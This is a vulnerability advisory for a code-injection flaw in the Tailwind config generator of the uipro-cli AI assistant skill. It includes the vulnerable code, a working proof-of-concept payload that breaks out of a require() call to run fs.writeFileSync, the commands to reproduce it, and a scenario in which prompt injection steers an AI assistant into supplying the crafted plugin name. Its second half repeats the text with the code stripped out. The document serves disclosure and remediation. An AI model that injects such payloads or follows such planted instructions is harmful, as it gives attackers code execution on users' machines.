uipro-cli — Tailwind Config Generator Code Injection Leading to RCE
1. Vulnerability Summary
| Field |
Value |
| Product |
UI/UX Pro Max Skill (uipro-cli) |
| Version |
v2.5.0 and earlier |
| Component |
.claude/skills/ui-styling/scripts/tailwind_config_gen.py, line 238 |
| Vulnerability Type |
Code Injection (CWE-94) |
| Severity |
Critical |
| CVSS 3.1 Score |
9.3 |
| CVSS 3.1 Vector |
AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Attack Vector |
Local (AI assistant mediated) |
| Privileges Required |
None |
| User Interaction |
None (AI auto-invokes the script) |
| Impact |
Arbitrary Code Execution on host system |
2. Product Description
UI/UX Pro Max Skill is a design intelligence toolkit installed as an AI coding assistant plugin for Claude Code, Cursor, Windsurf, and 12 other platforms. It includes a Tailwind CSS configuration generator (tailwind_config_gen.py) that generates tailwind.config.js files with plugin require() statements.
3. Vulnerability Description
The _format_plugins() method at line 238 of tailwind_config_gen.py constructs JavaScript require() statements by directly interpolating plugin names into a string template without any sanitization or escaping of single quotes:
# tailwind_config_gen.py:237-240
def _format_plugins(self) -> str:
plugin_requires = [
f"require('{plugin}')" for plugin in self.config["plugins"]
]
return ", ".join(plugin_requires)
An attacker-controlled plugin name containing a single quote can break out of the require() call and inject arbitrary JavaScript code. When the generated tailwind.config.js file is subsequently loaded by Node.js (via require(), Tailwind CLI, or any build tool), the injected code executes with full system privileges.
4. CVSS 3.1 Scoring Breakdown
| Metric |
Value |
Justification |
| Attack Vector (AV) |
Local (L) |
Attacker must influence plugin names via prompt injection or supply chain |
| Attack Complexity (AC) |
Low (L) |
No special conditions required; simple string injection |
| Privileges Required (PR) |
None (N) |
No authentication needed to trigger |
| User Interaction (UI) |
None (N) |
AI assistant auto-invokes the generator; user runs npm build normally |
| Scope (S) |
Changed (C) |
Escapes from Python generator to Node.js runtime |
| Confidentiality (C) |
High (H) |
Can read any file on the system |
| Integrity (I) |
High (H) |
Can write/modify any file |
| Availability (A) |
High (H) |
Can terminate processes, consume resources |
CVSS 3.1 Score: 9.3 (Critical)
5. Root Cause Analysis
Vulnerable Code
File: .claude/skills/ui-styling/scripts/tailwind_config_gen.py
# Line 232-240
def _format_plugins(self) -> str:
"""Format plugins array for config."""
if not self.config["plugins"]:
return ""
plugin_requires = [
f"require('{plugin}')" for plugin in self.config["plugins"] # ← NO ESCAPING
]
return ", ".join(plugin_requires)
The formatted plugins string is embedded into JavaScript config at lines 211 and 228:
# Line 228 (JavaScript mode)
plugins: [{plugins_str}],
Data Flow (Source → Sink)
Source: plugin name string (from add_plugins() API or CLI input)
→ self.config["plugins"].append(plugin) [tailwind_config_gen.py:170]
→ _format_plugins() [tailwind_config_gen.py:237]
→ f"require('{plugin}')" [tailwind_config_gen.py:238] ← INJECTION POINT
→ generate_config_string() [tailwind_config_gen.py:185]
→ write_config() [tailwind_config_gen.py:258]
→ file.write(config_content) [tailwind_config_gen.py:260] ← FILE WRITE
→ node require('./config.js') [Node.js runtime] ← CODE EXECUTION
6. Proof of Concept
Environment Setup
OS: macOS Darwin 25.4.0
Python: 3.14.3
Node.js: v20.20.2
Product: ui-ux-pro-max-skill v2.5.0
Step 1: Generate Malicious Config via Python API
#!/usr/bin/env python3
"""CVE PoC: tailwind_config_gen.py code injection → Node.js RCE"""
import sys
sys.path.insert(0, '.claude/skills/ui-styling/scripts')
from tailwind_config_gen import TailwindConfigGenerator
from pathlib import Path
gen = TailwindConfigGenerator(
typescript=False,
output_path=Path('./malicious-tailwind.config.js')
)
# Inject: close require quote, call fs.writeFileSync, re-open for valid syntax
malicious_plugin = "fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs"
gen.add_plugins([malicious_plugin])
# Verify injection in _format_plugins output
print("Injected plugins output:", gen._format_plugins())
# Output: require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')
gen.write_config()
Step 2: Verify Generated JavaScript Contains Injected Code
Generated malicious-tailwind.config.js contains:
plugins: [require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')],
The single-quote injection transformed:
- Intended:
require('fs...RCE...fs') (single require with long plugin name)
- Actual:
require('fs').writeFileSync(...) (valid JS: require fs module, call writeFileSync)
Step 3: Trigger Code Execution
# Simulate Tailwind CLI loading the config (identical to: npx tailwindcss build)
node -e "require('./malicious-tailwind.config.js')"
Step 4: Verify RCE
$ cat /tmp/rce_proof.txt
RCE_EXECUTED
Reproduction Result
$ mkdir /tmp/cve-poc && cd /tmp/cve-poc
$ python3 -c "
import sys; sys.path.insert(0, '/path/to/skills/ui-styling/scripts')
from tailwind_config_gen import TailwindConfigGenerator
from pathlib import Path
gen = TailwindConfigGenerator(typescript=False, output_path=Path('tailwind.config.js'))
gen.add_plugins([\"fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs\"])
gen.write_config()
"
$ grep plugins tailwind.config.js
plugins: [require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')],
$ node -e "require('./tailwind.config.js')"
$ cat /tmp/rce_proof.txt
RCE_EXECUTED
7. Attack Scenario
- An AI coding assistant (Claude Code, Cursor, etc.) loads the ui-styling SKILL.md
- User asks: "Add Tailwind plugins for my project"
- Through prompt injection (malicious CSV data, MASTER.md, or direct user input), the AI is manipulated to pass a crafted plugin name to
add_plugins()
tailwind_config_gen.py generates tailwind.config.js with injected JavaScript code
- User runs
npx tailwindcss build, npm run dev, or any build tool that loads the config
- Node.js executes the injected code with full user privileges
- Attacker achieves: file read/write, reverse shell, credential theft, etc.
8. Impact
- Arbitrary Code Execution: Full control of the user's machine via Node.js runtime
- Data Exfiltration: Read SSH keys, environment variables, credentials
- Supply Chain Attack: Malicious config propagates via git commits to CI/CD pipelines
- Lateral Movement: If running in CI/CD, can access deployment secrets
9. Remediation
Fix: Escape single quotes in plugin names
def _format_plugins(self) -> str:
if not self.config["plugins"]:
return ""
plugin_requires = []
for plugin in self.config["plugins"]:
# Sanitize: only allow valid npm package name characters
safe_plugin = re.sub(r"[^a-zA-Z0-9@/_.-]", "", plugin)
plugin_requires.append(f"require('{safe_plugin}')")
return ", ".join(plugin_requires)
Alternative: Validate plugin names against allowlist pattern
import re
VALID_PLUGIN_PATTERN = re.compile(r'^(@[a-z0-9-]+/)?[a-z0-9-]+(/[a-z0-9-]+)*$')
def _format_plugins(self) -> str:
for plugin in self.config["plugins"]:
if not VALID_PLUGIN_PATTERN.match(plugin):
raise ValueError(f"Invalid plugin name: {plugin}")
...
10. References
uipro-cli — Tailwind Config Generator Code Injection Leading to RCE
1. Vulnerability Summary
.claude/skills/ui-styling/scripts/tailwind_config_gen.py, line 2382. Product Description
UI/UX Pro Max Skill is a design intelligence toolkit installed as an AI coding assistant plugin for Claude Code, Cursor, Windsurf, and 12 other platforms. It includes a Tailwind CSS configuration generator (
tailwind_config_gen.py) that generatestailwind.config.jsfiles with pluginrequire()statements.3. Vulnerability Description
The
_format_plugins()method at line 238 oftailwind_config_gen.pyconstructs JavaScriptrequire()statements by directly interpolating plugin names into a string template without any sanitization or escaping of single quotes:An attacker-controlled plugin name containing a single quote can break out of the
require()call and inject arbitrary JavaScript code. When the generatedtailwind.config.jsfile is subsequently loaded by Node.js (viarequire(), Tailwind CLI, or any build tool), the injected code executes with full system privileges.4. CVSS 3.1 Scoring Breakdown
npm buildnormallyCVSS 3.1 Score: 9.3 (Critical)
5. Root Cause Analysis
Vulnerable Code
File:
.claude/skills/ui-styling/scripts/tailwind_config_gen.pyThe formatted plugins string is embedded into JavaScript config at lines 211 and 228:
Data Flow (Source → Sink)
6. Proof of Concept
Environment Setup
Step 1: Generate Malicious Config via Python API
Step 2: Verify Generated JavaScript Contains Injected Code
Generated
malicious-tailwind.config.jscontains:The single-quote injection transformed:
require('fs...RCE...fs')(single require with long plugin name)require('fs').writeFileSync(...)(valid JS: require fs module, call writeFileSync)Step 3: Trigger Code Execution
Step 4: Verify RCE
Reproduction Result
7. Attack Scenario
add_plugins()tailwind_config_gen.pygeneratestailwind.config.jswith injected JavaScript codenpx tailwindcss build,npm run dev, or any build tool that loads the config8. Impact
9. Remediation
Fix: Escape single quotes in plugin names
Alternative: Validate plugin names against allowlist pattern
10. References